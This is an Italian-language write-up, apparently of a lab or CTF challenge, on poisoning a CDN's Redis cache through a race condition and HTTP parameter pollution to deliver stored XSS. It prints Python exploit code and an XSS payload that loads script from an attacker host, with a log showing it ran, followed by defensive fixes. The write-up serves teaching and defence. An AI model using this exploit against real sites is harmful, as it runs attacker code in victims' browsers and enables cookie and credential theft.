c0derpwner@home:~$

Racecondition

🎯 Come Ho Hackerato un Sito con una Race Condition

Una Guida Completa per Principianti


🤔 Cos’è una Race Condition?

Immagina di essere in fila al supermercato con un amico. Entrambi volete comprare l’ultimo iPhone in offerta. Il cassiere dice “Chi arriva primo lo prende!” - corrente entrambi, ma il sistema non sa chi è arrivato veramente primo. Questo è una race condition: quando due operazioni simultanee creano un risultato imprevedibile.

Nel mondo informatico, succede quando:

  • Due richieste arrivano nello stesso momento
  • Il sistema non ha meccanismi per gestire l’ordine
  • Il risultato dipende da chi “vince la corsa”

🏗 L’Architettura del Sistema Vulnerabile

Il sito che ho attaccato aveva questa struttura:

👤 Utente → 🚀 CDN Proxy (porta 1337) → 🌐 Web App (porta 8888)
                    ↕
               💾 Cache Redis

CDN Proxy (Go):

  • Riceve le richieste degli utenti
  • Controlla se la risposta è già in cache Redis
  • Se non c’è (MISS), va a prenderla dal server web
  • Salva la risposta in cache per 60 secondi

Web App (Python):

  • Gestisce login, ricerche, citazioni
  • Ha una funzione di ricerca che cerca nelle citazioni
  • Salva tutte le ricerche fatte dagli utenti

🎯 Il Piano di Attacco

Obiettivo: Iniettare codice JavaScript maligno (XSS) e farlo eseguire ad altri utenti

La Vulnerabilità:

Il CDN non protegge contro richieste simultanee che causano cache poisoning

Strategia in 4 Fasi:


📋 FASE 1: Preparazione del Terreno

Cosa fa il mio script:

# Registra un account
await register()  # username: "c0der", password: "c0der"

# Fa login e ottiene il cookie di sessione
status, cookie = await login()

Perché serve:

  • Ho bisogno di un account valido per fare ricerche
  • Il cookie mi identifica come utente autenticato
  • Senza cookie, non posso accedere alle funzioni di ricerca

🔍 Cosa succede: Il server mi riconosce come utente legittimo


📋 FASE 2: Flood di Citazioni (Il Trucco Geniale)

Cosa fa:

# Invia 30.000 citazioni casuali al server
TOTAL_REQUESTS = 30000
await flood_quotes(cookie)

Il trucco nascosto:

def generate_multiple_quotes_from_json(total_length):
    # Genera citazioni casuali da parole vere
    words = []
    current_length = 0
    while current_length < total_length:
        word = random.choice(all_words)  # Parole vere da quotes.json
        words.append(word)
        current_length += len(word) + 1
    return " ".join(words)

Perché è importante:

  • Il server web salva ogni ricerca fatta dagli utenti
  • Quando faccio flood di citazioni, riempio il database di parole
  • Queste parole diventano termini di ricerca “precedenti”
  • Più parole ho, più possibilità di trovare termini cacheable

🔍 Cosa succede: Creo un oceano di termini di ricerca nel database


📋 FASE 3: La Ricerca del Punto Debole

Il loop di scoperta:

async def search_loop():
    while not exit_event.is_set():
        # 1. Chiedo al server: "Quali ricerche sono state fatte prima?"
        prev = await get_prev_searches(session, cookie)
        
        # 2. Filtro quelle nuove
        new_searches = [s for s in prev["searches"] 
                       if s not in seen_prev_searches]
        
        # 3. Provo l'attacco su ogni termine nuovo
        await flood_malicious_get(session, cookie, new_searches, blacklist)

La logica dell’attacco:

  • Il server mi dice che qualcuno ha cercato, ad esempio, “hello world”
  • Io provo a fare una richiesta maligna per “hello world”
  • Se la cache è vuota, posso “avvelenare” la cache

🔍 Cosa succede: Scandaglio tutte le ricerche precedenti per trovare quelle non in cache


📋 FASE 4: L’Attacco Race Condition (Il Momento Cruciale)

Questa è la parte più complessa. Ecco cosa succede millisecondo per millisecondo:

L’Exploit in Dettaglio:

async def malicious_get(session, cookie, query_payload):
    # Il mio payload XSS che verrà iniettato
    XSS_PAYLOAD = "<script/src=http://192.168.1.16/lol.js></script>"
    
    # Faccio una richiesta GET ma con dati POST (trucco HTTP)
    url = f"{BASE_URL}/search?query={parse.quote(query_payload)}"
    data = f"query={XSS_PAYLOAD}"  # Questo sovrascrive il parametro URL!
    
    async with session.get(url, headers=headers, data=data) as resp:
        return await resp.text(), resp.headers

Il Momento Magico - Timeline Precisa:

⏰ T+0ms:   Invio richiesta GET /search?query=hello%20world
            ma con BODY data="query=<script/src=http://192.168.1.16/lol.js></script>"

⏰ T+1ms:   CDN controlla cache Redis per "hello world" → MISS

⏰ T+2ms:   CDN inoltra richiesta al Web App

⏰ T+50ms:  Web App processa: 
            - URL dice "hello world" 
            - BODY dice "<script>..." 
            - BODY vince! (HTTP parsing rules)

⏰ T+100ms: Web App cerca "<script>..." nel database
            Risultato: "Results for '<script/src=http://192.168.1.16/lol.js></script>'"

⏰ T+150ms: CDN riceve risposta con XSS e la salva in cache con chiave "hello world"

⏰ T+200ms: Io ricevo risposta, controllo X-Cache: miss

La Verifica dell’Attacco:

# Subito dopo, faccio un'altra richiesta normale
result, headers = await confirm_get(session, cookie, search_term)

if check_result(result, headers, "hit"):
    # SUCCESS! La cache ora contiene il mio XSS
    print(f"[+] lol.js triggered at '{search_term}'")

🔍 Cosa succede: Ho “avvelenato” la cache! Ora chiunque cerca “hello world” riceverà il mio JavaScript maligno.


🎉 FASE 5: L’Esecuzione dell’XSS

Cosa succede quando un utente normale cerca “hello world”:

👤 Utente normale → 🚀 CDN → 💾 Redis Cache
                              
CDN trova: "Results for '<script/src=http://192.168.1.16/lol.js></script>'"
CDN invia al browser dell'utente: X-Cache: hit

🌐 Browser utente vede: <script/src=http://192.168.1.16/lol.js></script>
🌐 Browser esegue: GET http://192.168.1.16/lol.js

PROOF OF SUCCESS:

172.17.0.2 - - [26/May/2025 15:03:44] "GET /lol.js HTTP/1.1" 200

Questo log significa: Un browser (probabilmente il bot del server) ha eseguito il mio JavaScript!


🔬 Analisi Tecnica: Perché Ha Funzionato?

1. HTTP Parameter Pollution

# URL:  /search?query=hello%20world
# BODY: query=<script>...
# Server sceglie BODY sui URL params!

2. Cache Key Mismatch

Cache Key:    "hello world" (dall'URL)
Cache Value:  "Results for '<script>...'" (dal BODY)

3. Timing Window

Cache Miss → Forward Request → Process → Cache Set
     ↑                                      ↑
  1-5ms                                 100-200ms
  
La finestra di 100-200ms è sufficiente per l'exploit!

4. Mancanza di Input Validation

  • Il server non valida il contenuto XSS
  • Il CDN non controlla il contenuto prima di cache
  • Non c’è Content Security Policy (CSP)

🛡 Come Difendersi da Questo Attacco

Lato CDN:

// Implementare single-flight pattern
var inFlight = make(map[string]chan *Response)
var mu sync.Mutex

func getSingleFlight(key string) *Response {
    mu.Lock()
    if ch, exists := inFlight[key]; exists {
        mu.Unlock()
        return <-ch  // Aspetta il risultato della prima richiesta
    }
    ch := make(chan *Response, 1)
    inFlight[key] = ch
    mu.Unlock()
    
    // Fai la richiesta
    resp := forwardRequest(...)
    ch <- resp
    
    mu.Lock()
    delete(inFlight, key)
    mu.Unlock()
    
    return resp
}

Lato Web App:

# Input validation
def sanitize_input(query):
    # Rimuovi caratteri pericolosi
    dangerous_chars = ['<', '>', '"', "'", '&', 'script']
    for char in dangerous_chars:
        if char in query.lower():
            raise ValueError("Invalid input")
    return query

# Content Security Policy
self.set_header("Content-Security-Policy", 
                "default-src 'self'; script-src 'self'")

Architettura:

  • Separare cache key da contenuto
  • Validare input prima del cache
  • Implementare rate limiting
  • Aggiungere logging dettagliato

🎯 Conclusioni

Cosa ho dimostrato:

  1. Race Condition reale con impatto di sicurezza
  2. Cache Poisoning per XSS persistente
  3. HTTP Parameter Pollution per bypassare controlli
  4. Timing Attack sfruttando window microscopiche

Perché è pericoloso:

  • L’XSS colpisce tutti gli utenti futuri
  • È persistente (rimane in cache)
  • È difficile da rilevare
  • Può rubare cookie, password, dati sensibili

La lezione:

Le race condition non sono solo problemi teorici - possono essere sfruttate per attacchi reali!

Ogni sistema concorrente deve essere progettato considerando le race condition come un rischio di sicurezza, non solo di performance.


🔥 Questo exploit dimostra l’importanza di testare i sistemi sotto carico e con richieste simultanee - le vulnerabilità più pericolose emergono spesso solo in condizioni di concorrenza!